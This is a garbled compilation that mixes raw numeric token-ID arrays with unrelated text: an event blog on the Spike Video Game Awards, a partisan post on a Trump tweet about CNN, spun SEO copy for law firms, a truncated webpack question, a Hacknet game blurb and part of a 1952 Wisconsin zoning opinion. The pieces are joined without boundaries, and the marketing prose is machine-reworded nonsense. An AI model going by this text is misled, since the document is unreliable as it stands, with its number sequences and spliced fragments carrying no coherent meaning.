8453, 273, 1907, 271, 3939, 285, 23176, 2670, 604, 368, 971, 281, 20464, 275, 3063, 434, 4384, 9137, 323, 16010, 1533, 15, 187, 187, 34, 30278, 285, 4422, 2216, 323, 16010, 310, 625, 685, 2779, 281, 320, 1663, 27834, 604, 597, 816, 2085, 4585, 3290, 3580, 15, 3173, 40037, 253, 3290, 273, 253, 3238, 285, 3580, 326, 634, 4384, 9137, 323, 16099, 6131, 310, 247, 15822, 1332, 281, 10073, 6224, 285, 4711, 3081, 16256, 15, 733, 310, 1469, 281, 2489, 1846, 281, 923, 12645, 7552, 8548, 604, 368, 897, 1270, 5268, 2579, 15, 1422, 403, 3033, 281, 320, 3576, 604, 368, 14949, 1611, 1892, 281, 320, 253, 1682, 275, 634, 2791, 15, 187, 187, 2512, 4419, 281, 320, 247, 1387, 273, 9940, 6383, 3212, 512, 5547, 9341, 15, 3995, 4949, 4413, 13, 3534, 4768, 14649, 13, 9403, 452, 6685, 14211, 285, 10048, 6171, 665, 7356, 342, 1110, 9341, 323, 1048, 9894, 273, 673, 15, 380, 41786, 1669, 275, 253, 11772, 273, 247, 2014, 43257, 2278, 310, 5431, 247, 2264, 9326, 281, 4384, 9137, 323, 16010, 9891, 665, 513, 417, 5724, 616, 30278, 285, 4384, 2216, 323, 16099, 434, 3909, 17938, 15, 4952, 253, 1682, 2567, 778, 4763, 271, 43257, 7103, 432, 673, 14, 936, 14, 2606, 13, 594, 320, 5480, 281, 11322, 841, 3237, 347, 597, 12893, 15, 187, 187, 38453, 247, 7138, 14, 1826, 4384, 9137, 323, 4320, 15572, 310, 2834, 13, 1880, 368, 452, 2686, 2218, 352, 1078, 390, 417, 15, 20766, 2561, 670, 253, 21607, 878, 281, 11485, 320, 4824, 562, 2720, 281, 253, 1265, 273, 667, 747, 2567, 15, 2726, 253, 1682, 2613, 273, 3640, 13, 368, 812, 1287, 247, 1077, 5547, 30278, 285, 4422, 2216, 323, 16099, 15, 3166, 417, 20621, 253, 5235, 273, 5300, 908, 9106, 1959, 327, 253, 4384, 15, 50, 27, 187, 187, 48437, 18122, 2228, 327, 2430, 9, 5695, 5455, 10, 187, 187, 42, 1353, 2820, 281, 17713, 785, 1037, 3301, 271, 2460, 275, 23782, 15253, 15, 50276, 2598, 2080, 13, 752, 309, 1849, 1119, 327, 253, 8573, 556, 417, 4307, 15, 187, 3220, 8071, 4445, 4453, 751, 436, 27, 187, 2437, 6707, 11564, 3235, 10990, 8725, 23782, 15, 12118, 551, 187, 50274, 12574, 1082, 551, 187, 50270, 1059, 4500, 6586, 426, 2430, 2073, 3043, 26094, 16, 7872, 15, 11368, 5137, 187, 50270, 2309, 313, 187, 50266, 29, 1206, 31, 187, 50262, 29, 2851, 31, 187, 50262, 29, 8428, 6740, 11787, 7872, 6586, 94, 4725, 187, 50258, 92, 2520, 15, 21390, 15, 2203, 15, 881, 94, 187, 50262, 870, 2851, 31, 187, 50262, 29, 2851, 38958, 2520, 15, 21390, 15, 2203, 15, 25354, 28379, 2851, 31, 187, 50266, 870, 1206, 31, 2490, 50270, 558, 187, 50274, 94, 187, 94, 187, 187, 395, 253, 4384, 6896, 2228, 309, 755, 310, 436, 27, 187, 187, 12641, 275, 27479, 7614, 16, 26094, 16, 7872, 15, 11368, 30073, 14390, 4242, 27, 187, 50276, 36, 8048, 19469, 61, 7614, 61, 10121, 61, 7585, 61, 7614, 61, 26094, 61, 7872, 15, 11368, 530, 32820, 1894, 686, 5554, 187, 50276, 9, 18, 27, 17, 10, 1422, 778, 878, 271, 4569, 38837, 281, 6016, 436, 1873, 1511, 15, 187, 50276, 44981, 4756, 27, 530, 32820, 1894, 686, 5554, 313, 18, 27, 17, 10, 187, 187, 42, 3597, 6240, 247, 38837, 281, 619, 4384, 6896, 13, 533, 326, 3534, 1027, 6332, 15, 50276, 2598, 309, 5176, 352, 432, 619, 4384, 5397, 1873, 15, 187, 395, 619, 4384, 6896, 15, 5397, 1873, 187, 8640, 15, 23756, 426, 551, 187, 50276, 8873, 27, 33378, 7614, 16, 1212, 15, 4305, 1383, 187, 50276, 9252, 27, 551, 187, 50274, 3967, 27, 4772, 45518, 13, 187, 50274, 17479, 27, 686, 30310, 15, 4305, 8, 187, 50276, 2023, 187, 50276, 8640, 27, 551, 187, 50274, 2799, 398, 27, 544, 187, 50272, 92, 187, 50270, 2566, 27, 1227, 15461, 4305, 89, 32, 32865, 13, 187, 50270, 49309, 27, 1227, 6219, 64, 14825, 40391, 187, 50270, 27564, 27, 686, 46998, 14, 27564, 1383, 187, 50270, 7267, 27 ]	LA’s Supperclub, hosted by Maxim. It was everything you would expect from a Maxim party: girls on trapezes soaring over the dance floor, bottle service in private booths, bunkers with skimpily-clad models playing Call of Duty: Black Ops, a photo booth with weapons and costumes to celebrate the Maxim competition, and a DJ that rocked the house as late as people would stay. I had a chance to meet Mark Salling from Glee, chat with Cedric Yarbrough of Reno 911 fame and said a quick hello to Masi Oka from Heroes. All of this, and we hadn’t even made it to the awards yet. After a late night, both at the Supperclub and in various rooms of the Four Seasons after, I was glad for a slow start Saturday morning. My host and I hit breakfast at the Four Seasons café and then split for a few hours – him to the spa, me back to the room for some writing. We reconvened for the Spike Video Game Awards just before two, and enjoyed lunch on the way to the convention center. The red carpet seemed to fly by, and before long we were in our seats on the right side of the main stage. I’ve never been to awards show, so it was interesting to see how the live show went off. Neil Patrick Harris came on just before things got started to give us a little pep talk about the proceedings and get the room fired up for the awards. The show itself was pretty cool – NPH is always fun to watch and there were some very cool appearances. My favorite part of the evening was listening to Jose Gonzalez perform his theme for Spike’s Game of the Year, Red Dead Redemption. If you haven’t played the game, it’s hard to appreciate how much atmosphere ‘Far Away’ gives to Rockstar’s vision of a wild west, but you could feel the eerie tension as he played. As part of the show, we also got to see trailers for Mass Effect 3, Guillermo Del Toro’s Insane, The Elder Scrolls V: Skyrim, and Uncharted 3, all on an enormous screen. The show staff came around periodically to deliver typical gamer food, with a bit of a twist. We had pizza bites made with gorgonzola, sliders and tater tots, and classic hostess snacks. After the awards show it was off to Katsuya at LA LIVE, the entertainment mall that hosts Staples Center. Katsuya is probably best described as a modern sushi bar for the American palate. The dishes are simple but delicious. I ate chef Katsuya Uechi’s Crispy Rice with Spicy Tuna in quantities typically reserved for buffet trays (at one point, our server actually asked if she should just leave the tray – my answer: yes). Katsuya was laid back, quiet enough that I could enjoy the company of some fellow Midwesterners from Jeep’s Detroit media office. Once I had finished the last bit of spicy tuna in the place, we went back to the Four Seasons lounge for drinks before bed. It would be tough to say enough good about the experience. Both Jeep and Spike are excellent entertainers, and the Spike VGAs were the perfect place to integrate the Call of Duty: Black Ops edition Wrangler. If you ever have the chance to get to LA for a weekend, seize it and don’t look back. You’ll never be short on things to do, and if you’re over near the Staples Center, be sure to get yourself some Crispy Rice with Spicy Tuna. For more about the Spike Video Game Awards, be sure to check out our gaming blog, Fearless Gamer. I’ll be covering several of the announcements in more detail and discussing the atmosphere of critical awards in gaming culture over the next few days.Guest post by Joe Hoft Via PJW President Donald Trump unleashed perhaps the greatest tweet ever Sunday morning on Twitter. TRENDING: Obama Statement on Ginsburg Demands GOP Senate Honors Her Dying 'Instructions' and Put Off Vote on Supreme Court Nominee Until New President Sworn In Within an hour the President’s tweet had over a 100,000 retweets and the Internet and MSM were abuzz. The tweet has nearly half a million likes today. Based on additional footage from President Trump’s days in the ring, we may be in store for more CNN #FNN #FraudNewsCNN tweets in the future. Some creative individuals on the Internet have already created additional GIF’s for the President showing the President giving #FNN another beat down! Very Fake News CNN and now Fraud News CNN never should have stepped in the ring.The Secrets To Effective Marketing: The Secrets To Effective Marketing: Always strive to keep https://www.studio3marketing.com/services/seo/ of your clients happy to keep the web marketing for lawyers model healthy. You can't anticipate dissatisfied customers to keep purchasing from you or to have good things to state about your service. Favorable evaluations can be built up through supplying the most outstanding services possible. We have actually gathered some guidelines to assist you increase your site speaking with for lawyers through client satisfaction. Handling a web marketing for lawyers will normally take a lot more time than you first expect, so it's important that you dedicate enough of your life to really running it. Focus, time and great deals of persistence are all needed for a thriving business to establish. mouse click the following web site who are brand-new to site consulting for attorneys ownership manage too much all at once. The only way to avoid being overwhelmed by the obligations of operating your service is to delegate some of them to others. Law firms spamming Google My Business: Don't trust them! Law firms spamming Google My Business: Don't trust them! Last year, I wrote a piece addressed to SEO companies showing how much they were spamming Google Maps and giving the industry a bad reputation. If I worked at Google, this type of stuff would make me hate SEO companies and have no desire to help them. Your site should leave an entirely expert impression if you wish to remain competitive. The best method to get one is to deal with a website designer with a great track record. A website requires to not just work, but need to also be visually pleasing in order to draw customers in. Never underestimate the significance of having an active and appealing site if you want to prosper in today's web marketing for attorneys world. A SEO and website design for attorneys is more than likely to be really profitable if they just provide highest quality products. Improving the quality of the services and products that your web marketing for lawyers offers is a wise method to assist sales and produce additional profits. It is going to become common to see recommendations becoming clients if you use great client service. You are bound to be effective if you continuously try hard to be the best in your market. There requires to be a group of dedicated customers behind all successful businesses. Household companies, gave throughout generations, normally have extremely loyal and satisfied employees who stick with those businesses for long periods of time. The catastrophe left in the wake of a single unfavorable review is typically a total surprise to web marketing for attorneys owners who do not monitor their SEO and web design for lawyers's online credibility. Even the best company may receive an unfavorable evaluation from time-to-time, so be prepared to resolve these problems as they arise. Building a brand-new web marketing for legal representatives is difficult, whether you have actually done it before or not. Quality research about the competitors need to constantly be carried out prior to the start of any new company. With the best base of knowledge, you could develop a very successful SEO and website design for lawyers. Do not overlook the variety of resources used totally free on the web.Q: webpack compile error on require(imagePath) I'm trying to dymaically load an image in ReactJS. So far, what I've found on the internet has not worked. My react component looks like this: class ReadOnlyTableRow extends React.Component { render() { let optionImage = require('../assets/option.jpg'); return ( <tr> <td> <img src={optionImage} /> {this.props.data.type} </td> <td>{this.props.data.symbol}</td> </tr> ); } } and the webpack error I get is this: ERROR in./src/assets/option.jpg Module parse failed: C:\Java\src\options\web\src\assets\option.jpg Unexpected character '?' (1:0) You may need an appropriate loader to handle this file type. SyntaxError: Unexpected character '?' (1:0) I tried adding a loader to my webpack, but that gave different errors. So I removed it from my webconfig file. and my webpack.config file module.exports = { entry: './src/app.js', output: { path: __dirname, filename: 'bundle.js' }, module: { loaders: [ { test: /\.jsx?$/, exclude: /node_modules/, loader: 'babel-loader', query:
[ 556, 642, 39092, 13, 643, 685, 253, 1436, 970, 352, 15, 5037, 457, 85, 320, 32397, 2167, 1108, 352, 457, 84, 625, 1524, 685, 368, 1158, 15, 187, 187, 4125, 326, 368, 871, 247, 2372, 625, 670, 34999, 3024, 13, 1339, 457, 84, 2312, 670, 10118, 44960, 84, 15, 187, 187, 41350, 247, 747, 495, 14, 21, 4964, 8857, 281, 253, 2165, 13, 34999, 3024, 27, 10118, 44960, 84, 11403, 368, 17875, 407, 253, 19796, 611, 19438, 5973, 281, 6604, 247, 1355, 2285, 273, 17832, 38287, 327, 253, 20269, 323, 6422, 747, 5657, 285, 5659, 15, 187, 187, 1989, 2444, 342, 253, 1682, 3548, 457, 85, 1469, 281, 320, 3477, 15, 1244, 347, 253, 2962, 273, 344, 1346, 5459, 275, 10454, 285, 5434, 13, 368, 457, 250, 1469, 281, 878, 281, 897, 3253, 387, 634, 2285, 457, 84, 23585, 281, 755, 275, 13, 755, 253, 2628, 2218, 13, 285, 755, 562, 1293, 1146, 7270, 15, 187, 187, 7510, 39643, 747, 5657, 1253, 10328, 347, 253, 21688, 25113, 8260, 13, 7032, 273, 9591, 3541, 2273, 2224, 982, 327, 21325, 1253, 1826, 5659, 13, 747, 6928, 281, 8338, 13, 747, 12693, 16876, 13, 747, 20196, 281, 32355, 275, 253, 3236, 2165, 13, 285, 247, 2120, 747, 35846, 13, 10118, 44960, 84, 26361, 625, 273, 253, 30355, 368, 7636, 275, 34999, 3024, 2112, 342, 690, 10084, 747, 44676, 15, 187, 187, 41, 471, 3024, 27, 10118, 44960, 84, 369, 4722, 13, 285, 387, 806, 17834, 368, 5082, 457, 85, 1158, 352, 369, 247, 2165, 13, 533, 352, 556, 253, 17823, 13, 6864, 285, 4996, 14406, 281, 1978, 368, 4882, 15, 11668, 247, 1007, 387, 253, 1563, 19150, 281, 755, 247, 1805, 2934, 273, 253, 34999, 3024, 2962, 15, 187, 26560, 12051, 15, 6931, 313, 41083, 10, 187, 38836, 3269, 37118, 43446, 13, 21485, 13, 187, 10936, 15, 187, 25490, 46, 3887, 13, 9517, 17555, 11, 62, 187, 31177, 2111, 273, 15558, 15, 187, 22423, 884, 13, 24652, 15, 187, 24099, 608, 13, 24652, 15, 187, 11, 2385, 1198, 253, 7048, 627, 369, 247, 4864, 407, 378, 5047, 358, 489, 12408, 708, 378, 5047, 358, 489, 12408, 273, 473, 2396, 319, 406, 13, 285, 7946, 4154, 407, 329, 15, 443, 15, 378, 5047, 358, 489, 12408, 285, 32324, 329, 15, 378, 5047, 358, 489, 12408, 15, 187, 1044, 263, 365, 34069, 25884, 13, 3286, 6834, 13, 323, 253, 15587, 15, 187, 7941, 48, 2350, 8768, 2415, 13, 500, 15, 187, 2374, 436, 4549, 253, 3257, 16424, 253, 1563, 39304, 27, 187, 9, 18, 10, 2064, 253, 35900, 25245, 13, 347, 13799, 407, 253, 23518, 26340, 13, 369, 12078, 984, 273, 253, 5575, 4433, 281, 16041, 342, 253, 1563, 11315, 19993, 6095, 27, 187, 9, 66, 10, 1621, 3711, 369, 7660, 281, 253, 4081, 25245, 390, 15129, 15, 187, 11, 2537, 313, 67, 10, 380, 3236, 25245, 285, 23518, 26340, 497, 417, 3863, 15, 187, 9, 68, 10, 1621, 3542, 9612, 273, 253, 25245, 407, 253, 3874, 4450, 273, 253, 3874, 273, 15162, 16240, 369, 4724, 342, 253, 9635, 4450, 15, 187, 9, 69, 10, 1621, 1345, 4854, 369, 2918, 407, 253, 3874, 4450, 1078, 13423, 9612, 273, 253, 25245, 15, 187, 9, 19, 10, 2064, 253, 3874, 273, 15162, 16240, 574, 1612, 281, 10687, 432, 253, 4254, 273, 253, 35900, 25245, 15, 187, 9, 20, 10, 2064, 253, 35900, 1569, 310, 12078, 984, 27, 187, 9, 66, 10, 733, 9919, 281, 16209, 10132, 417, 14047, 407, 253, 19195, 15, 187, 9, 67, 10, 733, 310, 27093, 984, 352, 310, 271, 14697, 5763, 273, 253, 3513, 1612, 15, 187, 9, 21, 10, 1707, 369, 642, 8411, 273, 253, 25245, 407, 253, 3257, 984, 344, 369, 7429, 281, 4035, 253, 2720, 1327, 585, 14692, 897, 273, 21872, 13, 521, 28934, 275, 4060, 15, 187, 1231, 3091, 1908, 841, 39304, 275, 253, 1340, 275, 534, 597, 497, 3559, 275, 3257, 434, 4864, 347, 7117, 1840, 15, 187, 3404, 253, 2332, 253, 3482, 9635, 5907, 275, 1941, 247, 11462, 41985, 1059, 327, 253, 3835, 273, 534, 369, 11462, 27, 187, 50265, 3, 27656, 3796, 3928, 1503, 12777, 43795, 593, 187, 50260, 3, 7498, 1701, 281, 3978, 337, 13, 13918, 187, 50265, 3, 5498, 657, 15, 6212, 13, 16782, 187, 50261, 3, 43582, 4450, 273, 43169, 187, 50265, 3, 18448, 399, 15, 388, 7885, 13, 9635, 21334, 187, 50261, 3, 59, 12777, 9353, 27, 187, 50257, 3, 3996, 15, 20037, 249, 13, 16782, 187, 50257, 3, 41, 15, 329, 15, 5874, 413, 187, 50257, 3, 18102, 15, 427, 15, 6943, 8358, 3, 187, 395, 253, 41985, 1059, 6221, 247, 3426, 2505, 273, 253, 9635, 35900, 25245, 347, 13799, 432, 673, 281, 673, 13, 1690, 253, 23518, 26340, 13, 285, 671, 247, 3426, 2505, 273, 253, 3652, 14, 468, 2225, 25245, 15, 1707, 369, 7660, 247, 3711, 273, 253, 9635, 327, 534, 253, 2710, 1182, 11406, 16475, 497, 4860, 13, 475, 1235, 1690, 13295, 4306, 4412, 378, 2112, 2418, 1535, 3938, 21788, 1884, 13, 285, 253, 4060, 387, 253, 1755, 273, 436, 3711, 1239, 27, 187, 50270, 3, 27656, 3796, 3928, 1503, 12777, 12968, 187, 50264, 3, 21859, 13, 27598, 187, 50264, 3, 9150, 15, 1668, 13, 23518, 3, 187, 510, 35900, 25245, 347, 594, 11462, 275, 436, 41985, 1059, 6221, 247, 13604, 534, 4767, 326, 253, 13674, 273, 253, 2710, 1182, 11406, 16475, 3562, 407, 253, 25245, 346, 609, 2011, 2220, 253, 3711, 273, 19759, 9635, 13, 7660, 36291, 13, 1146, 13205, 347, 253, 2634, 59, 12777, 3711, 273, 19759, 9635, 13, 15558, 4117, 347, 13799, 13, 15483, 4565, 1668, 13, 23518, 13, 285, 1160, 247, 629, 273, 436, 25245, 449, 187, 35108, 2034, 323, 3257, 27511, 281, 253, 3959, 275, 1941, 273, 436, 41985, 1059, 2220, 253, 1563, 1740, 9905, 27, 313, 18, 10, 2064, 253, 2647, 275, 2523, 20944, 275, 24344, 28, 313, 19, 10, 326, 253, 41985, 1059, 858, 417, 921, 326, 352, 369, 3863, 407, 6265, 273, 19759, 9635, 28, 313, 20, 10, 326, 253, 41985, 1059, 858, 417, 921, 326, 253, 35900, 25245, 369, 6704, 407, 253, 21334, 285, 33605, 1300, 407, 253, 16782, 273, 253, 9635, 4450, 28, 285, 313, 21, 10, 326, 627, 369, 2717, 281, 921, 326, 253, 3711, 7660, 281, 253, 41985, 1059, 369, 253, 3711, 346, 709, 13004, 281, 13, 12488, 390, 1160, 247, 629, 273, 253, 5861, 273, 253, 9635, 4450, 2057, 275, 253, 3236, 35900, 25245, 390, 275, 253, 15129, 273, 22557, 449, 380, 2332, 1302, 2959, 253, 41985, 1059, 2256, 281, 253, 21915, 13, 533, 253, 29745, 3061, 1996, 13697, 407, 253, 2332, 1302, 1160, 352, 2590, 326, 344, 858, 417, 1908, 824, 21915, 574, 667, 15785, 15, 187, 4538, 15, 31133, 15, 2125, 13, 48522, 904, 3400, 347, 3637, 27, 187, 3, 46, 2569, 11462, 275, 667, 11547, 13, 1984, 13, 41985, 1059, 13, 390, 643, 830, 1460, 631, 272, 281, 320, 594, 3863, 407, 667, 9635, 13, 3874, 13, 2846, 13, 390, 7773, 275, 436, 1375, 347, 247, 3491, 273, 697, 25245, 13, 407, 14, 6937, 13, 6064, 13, 390, 7248, 13, 310, 24041, 31452, 1941, 10445, 28, 285, 846, 1264, 1107, 432, 253, 3522, 273, 824, 9311, 13, 824, 1984, 390, 41985, 1059, 3091, 320, 38662, 4737, 273, 253, 475, 3712, 31793, 273, 253, 16253, 285, 9311, 273, 253, 25245, 13, 407, 14, 6937, 13, 6064, 13, 390, 7248, 449, 187, 35108, 2034, 323, 253, 3257, 35733, 326, 436, 6645, 556, 642, 2898, 1060, 984, 253, 41985, 1059, 17564, 642, 3908, 326, 697, 9311, 369, 14047, 407, 253, 9635, 285, 28070, 23840, 4978, 362, 15, 1500, 23509, 313, 746, 805, 582, 20995, 12051, 15, 11266, 13, 14114, 427, 15, 411, 15, 721, 1857, 13, 275, 1329, 273, 824, 16422, 15, 496, 326, 1083, 253, 11462, 3491, 273, 247, 28751, 25245, 273, 253, 2846, 273, 31914, 369, 5907, 275, 1941, 285, 253, 760, 958, 15602, 30134, 534, 1537, 5224, 697, 9311, 369, 14047, 407, 253, 2846, 369, 253, 1416, 273, 253, 7015, 34771, 273, 9195, 11462, 387, 253, 3174, 273, 253, 8778, 26342, 15, 380, 7015, 3652, 34771, 651, 10693, 320, 14320, 281, 452, 6265, 281, 15452, 247, 2846, 25245, 15, 496, 253, 8164, 1083, 253, 41066, 327, 253, 3835, 13, 12206, 347, 352, 858, 253, 4454, 285, 14505, 273, 253, 16782, 273, 253, 9635, 4450, 285, 9635, 21334, 13, 651, 5224, 326, 352, 369, 271, 14047, 9311, 273, 253, 9635, 15, 844, 13, 3103, 13, 2186, 326, 253, 41066, 327, 253, 41985, 1059, 3835, 369, 824, 347, 281, 5224, 326, 253, 41985, 1059, 28751, 281, 320, 3863, 407, 253, 9635, 594, 347, 281, 1056, 253, 10067, 273, 4706, 15, 31133, 15, 2125, 13, 48522, 904, 7763, 26474, 15, 187, 3463, 1921, 273, 4706, 15, 31133, 15, 2125, 13, 48522, 904, 253, 41985, 1059, 369, 24041, 31452, 1941, 273, 253, 35900, 25245, 13, 347, 13799, 13, 285, 273, 253, 3652, 14, 468, 2225, 25245, 15, 3900, 253, 6645, 1057, 417, 20251, 1375, 326, 253, 41985, 1059, 310, 24041, 31452, 1941, 273, 253, 9311, 273, 841, 16214, 1972, 13, 359, 2186, 326, 436, 310, 10466, 432, 253, 1390, 13604, 275, 253, 6645, 534, 3054, 326, 846, 1264, 1107, 432, 253, 3522, 273, 9311, 253, 41985, 1059, 310, 38662, 4737, 273, 253, 31793, 273, 253, 16253, 285, 9311, 273, 253, 16214, 1972, 15, 380, 3711, 7660, 281, 253, 41985, 1059, 1146, 3636, 275, 253, 25245, 347, 253, 35900, 3711, 6289, 281, 275, 253, 25245, 13, 253, 41985, 1059, 369, 407, 1921, 273, 253, 6645, 24041, 31452, 1941, 326, 824, 3711, 369, 253, 35900, 3711, 7660, 281, 253, 3236, 25245, 13, 285, 13799, 407, 253, 475, 3583, 23518, 26340, 281, 921, 13295, 4306, 4412, 378, 2112, 21788, 1884, 15, 187, 1231, 1024, 1705, 281, 253, 1953, 273, 1880, 253, 3257, 4197, 667, 1941, 281, 30080, 253, 24041, 31452, 22797, 273, 253, 6489, 273, 253, 3711, 285, 253, 1955, 9311, 273, 253, 25245, 15, 1284, 281, 253, 3711, 253, 760, 1941, 5907, 407, 253, 3257, 369, 247, 14204, 273, 253, 9635, 21334, 15483, 4162, 1884, 13, 25124, 13, 275, 534, 344, 18065, 326, 344, 574, 1160, 23947, 290, 3186, 275, 521, 3906, 323, 253, 35900, 3711, 346, 709, 13004, 281, 275, 253, 7970, 6874, 7948, 9055, 13, 4596, 1668, 13, 27598, 13, 273, 253, 9635, 4450, 273, 19759, 9635, 13, 15558, 13, 285, 6774, 10061, 13, 544, 395, 62, 824, 35900, 3711, 2550, 320, 1119, 285, 326, 253, 1072, 556, 417, 644, 4724, 285, 556, 417, 644, 5950, 390, 3636, 347, 629, 273, 753, 35900, 25245, 449, 380, 958, 326, 253, 9635, 21334, 858, 417, 452, 253, 3711, 327, 1873, 275, 521, 3906, 327, 4162, 1884, 13, 25124, 13, 1057, 417, 5100, 326, 253, 1072, 369, 417, 6283, 7660, 281, 253, 3236, 35900, 25245, 13, 672, 23552, 13, 285, 369, 417, 17265, 285, 7660, 281, 253, 23518, 26340, 672, 253, 6158, 497, 8671, 13, 285, 310, 12497, 281, 30080, 253, 24041, 31452, 22797, 5439, 407, 4706, 15, 31133, 15, 2125, 13, 48522, 15, 496, 253, 3286, 6834, 434, 5909, 3908, 281, 253, 2332, 1302, 387, 253, 37877, 273, 253, 2332, 344, 6289, 281, 247, 3711, 12322, 281, 253, 1302, 347, 253, 346, 28660, 35900, 3711, 937, 285, 846, 253, 2332, 1302, 2959, 275, 1941, 253, 41985, 1059, 4508, 253, 35900, 25245, 285, 1907, 7660, 26474, 247, 35900, 3711, 6289, 281, 275, 253, 25245, 13, 253, 2332, 1302, 25995, 13, 346, 783, 3711, 326, 310, 7660, 281, 253, 10738, 310, 247, 2344, 3549, 587, 281, 253, 581, 327, 253, 3402, 937, 28668, 14339, 281, 253, 3711, 5393, 407, 253, 3286, 6834, 275, 521, 5909, 3908, 15, 3900, 824, 3711, 327, 253, 3402, 369, 417, 5907, 275, 1941, 13, 841, 5441, 403, 5393, 347, 2438, 1573, 247, 1896, 8813, 2139, 253, 9635, 21334, 369, 417, 2104, 281, 1089, 253, 3236, 35900, 3711, 327, 1873, 275, 521, 3906, 327, 4162, 1884, 13, 25124, 15, 187, 510, 1941, 5907, 407, 253, 3257, 327, 5575, 4433, 281, 15452, 369, 671, 247, 14204, 273, 253, 9635, 21334, 15483, 475, 3357, 4162, 1884, 13, 25124, 13, 14851, 13, 346, 42, 1089, 642, 4737, 273, 9311, 273, 3236, 544, 5894, 272, 62, 25245, 390, 667, 26340, 26474, 449, 380, 4433, 273, 253, 9635, 21334, 281, 1089, 667, 27947, 273, 9311, 327, 1873, 275, 521, 3906, 11521, 2080, 2159, 273, 14631, 326, 253, 25245, 13, 285, 26340, 13, 497, 1620, 3863, 13, 285, 21223, 10224, 281 ]	has no protagonist, other than the person using it. Don’t be reckless though – it’s more real than you think. Now that you know a bit more about Hacknet, let’s talk about Labyrinths. Adding a new 3-4 hour chapter to the game, Hacknet: Labyrinths sees you recruited by the mysterious Kaguya to join a small team of elite hackers on the hunt for powerful new tools and programs. But working with the best isn’t going to be easy. And as the series of heists increases in complexity and danger, you’re going to need to use everything at your team’s disposal to get in, get the job done, and get out without being caught. Featuring new tools–such as the Memory Analyzer, capable of performing memory forensics on RAM–new programs, new networks to explore, new UI themes, new secrets to uncover in the original game, and a full new soundtrack, Labyrinths delivers more of the gameplay you loved in Hacknet along with some surprising new twists. Hacknet: Labyrinths was interesting, and at first glance you wouldn’t think it was a game, but it has the mechanics, depth and intrigue to keep you playing. Take a look at the following trailer to get a better idea of the Hacknet series. 261 Wis. 39 (1952) JEFFERSON COUNTY, Respondent, vs. TIMMEL, Appellant,[] Supreme Court of Wisconsin. January 10, 1952. February 5, 1952. 48 For the appellant there was a brief by Brendemuehl & Brendemuehl of Oconomowoc, and oral argument by A. G. Brendemuehl and Curtis A. Brendemuehl. Thorpe Merriman, district attorney, for the respondent. BROADFOOT, J. On this appeal the defendant advances the following contentions: (1) That the zoning ordinance, as amended by the 1947 amendments, was invalid because of the alleged failure to comply with the following statutory procedural requirements: (a) No map was attached to the proposed ordinance or amendment. 49 (b) The original ordinance and 1947 amendments were not published. (c) No written approval of the ordinance by the town board of the town of Farmington was filed with the county board. (d) No public hearing was held by the town board before voting approval of the ordinance. (2) That the town of Farmington had power to withdraw from the operation of the zoning ordinance. (3) That the zoning law is invalid because: (a) It attempted to impose regulations not authorized by the statutes. (b) It is unconstitutional because it is an improper exercise of the police power. (4) There was no violation of the ordinance by the defendant because he was entitled to continue the prior nonconforming use of Perry, his predecessor in title. We shall consider these contentions in the order in which they were presented in defendant's brief as listed above. At the trial the plaintiff county offered in evidence a printed pamphlet on the cover of which was printed: "Jefferson County Zoning Ordinance "Revised to June 1, 1950 "Don V. Smith, chairman "County board of supervisors "James D. Hyer, county clerk "Zoning committee: "Ed. Brewin, chairman "H. A. Wilke "Math. N. Biwer" and the pamphlet contained a complete text of the county zoning ordinance as amended from time to time, including the 1947 amendments, and also a complete text of the building-permit ordinance. There was attached a map of the county on which the various zoned districts were indicated, 50 including Conservancy District B along State Trunk Highway 30, and the title at the top of this map read: "Jefferson County Zoning Map "September, 1937 "Dec. 16, 1947" The zoning ordinance as so printed in this pamphlet contained a clause which stated that the boundaries of the various zoned districts created by the ordinance "are shown upon the map of Jefferson county, attached hereto, being designated as the `Zoning map of Jefferson county, Wisconsin,' as amended, dated December 16, 1947, and made a part of this ordinance." Counsel for defendant objected to the offer in evidence of this pamphlet upon the following four grounds: (1) That the matter in issue arose in 1949; (2) that the pamphlet did not show that it was published by authority of Jefferson county; (3) that the pamphlet did not show that the zoning ordinance was signed by the clerk and countersigned by the chairman of the county board; and (4) that there was nothing to show that the map attached to the pamphlet was the map "referred to, identifying or made a part of the records of the county board either in the original zoning ordinance or in the amendment of 1948." The trial court received the pamphlet subject to the objections, but the memorandum decision later rendered by the trial court made it clear that he did not consider such objections had any merit. Sec. 327.04, Stats., provides as follows: "Matter printed in any newspaper, book, pamphlet, or other form purporting to be so published by any county, town, city, or village in this state as a copy of its ordinance, by-law, resolution, or regulation, is prima facie evidence thereof; and after three years from the date of such publication, such book or pamphlet shall be conclusive proof of the 51 regularity of the adoption and publication of the ordinance, by-law, resolution, or regulation." Counsel for the defendant urges that this statute has no application here because the pamphlet bore no statement that its publication was authorized by the county and cites Rosenberg v. Sheahan (1912), 148 Wis. 92, 133 N. W. 645, in support of such contention. In that case the printed copy of a purported ordinance of the city of Milwaukee was offered in evidence and the only fact appearing thereon which might indicate its publication was authorized by the city was the name of the chief inspector of buildings printed at the foot of the flyleaf. The chief building inspector would hardly be deemed to have authority to publish a city ordinance. In the instant case the wording on the cover, bearing as it did the names and titles of the chairman of the county board and county clerk, would indicate that it was an authorized publication of the county. We, therefore, hold that the wording on the pamphlet cover was such as to indicate that the pamphlet purported to be published by the county so as to make the provisions of sec. 327.04, Stats., applicable thereto. By reason of sec. 327.04, Stats., the pamphlet was prima facie evidence of the zoning ordinance, as amended, and of the building-permit ordinance. While the statute does not expressly state that the pamphlet is prima facie evidence of the publication of these ordinances, we hold that this is implied from the last clause in the statute which states that after three years from the date of publication the pamphlet is conclusive proof of the regularity of the adoption and publication of the ordinances. The map attached to the pamphlet being identified in the ordinance as the zoning map referred to in the ordinance, the pamphlet was by reason of the statute prima facie evidence that such map was the zoning map attached to the original ordinance, and amended by the 52 1947 amendments to show Conservancy District B along Highway 30. We now come to the question of whether the defendant produced any evidence to rebut the prima facie presumption of the identity of the map and the due publication of the ordinance. As to the map the only evidence offered by the defendant was a certificate of the county clerk dated April 30, 1951, in which he certified that he had made diligent search in his office for the zoning map "referred to in the annual session Tuesday afternoon, November 16, 1937, of the county board of Jefferson county, Wisconsin, and subsequent proceedings, [and] such zoning map cannot be found and that the same has not been filed and has not been recorded or identified as part of said zoning ordinance." The fact that the county clerk did not have the map on file in his office on April 30, 1951, does not establish that the same was not properly attached to the original zoning ordinance, when enacted, and was not revised and attached to the 1947 amendments when the latter were adopted, and is insufficient to rebut the prima facie presumption raised by sec. 327.04, Stats. In the district attorney's opening statement to the trial court at the commencement of the trial he referred to a map exhibited to the court as the "official zoning map," and after the trial court received in evidence the pamphlet containing the zoning ordinance and having attached thereto a zoning map referred to in the ordinance, 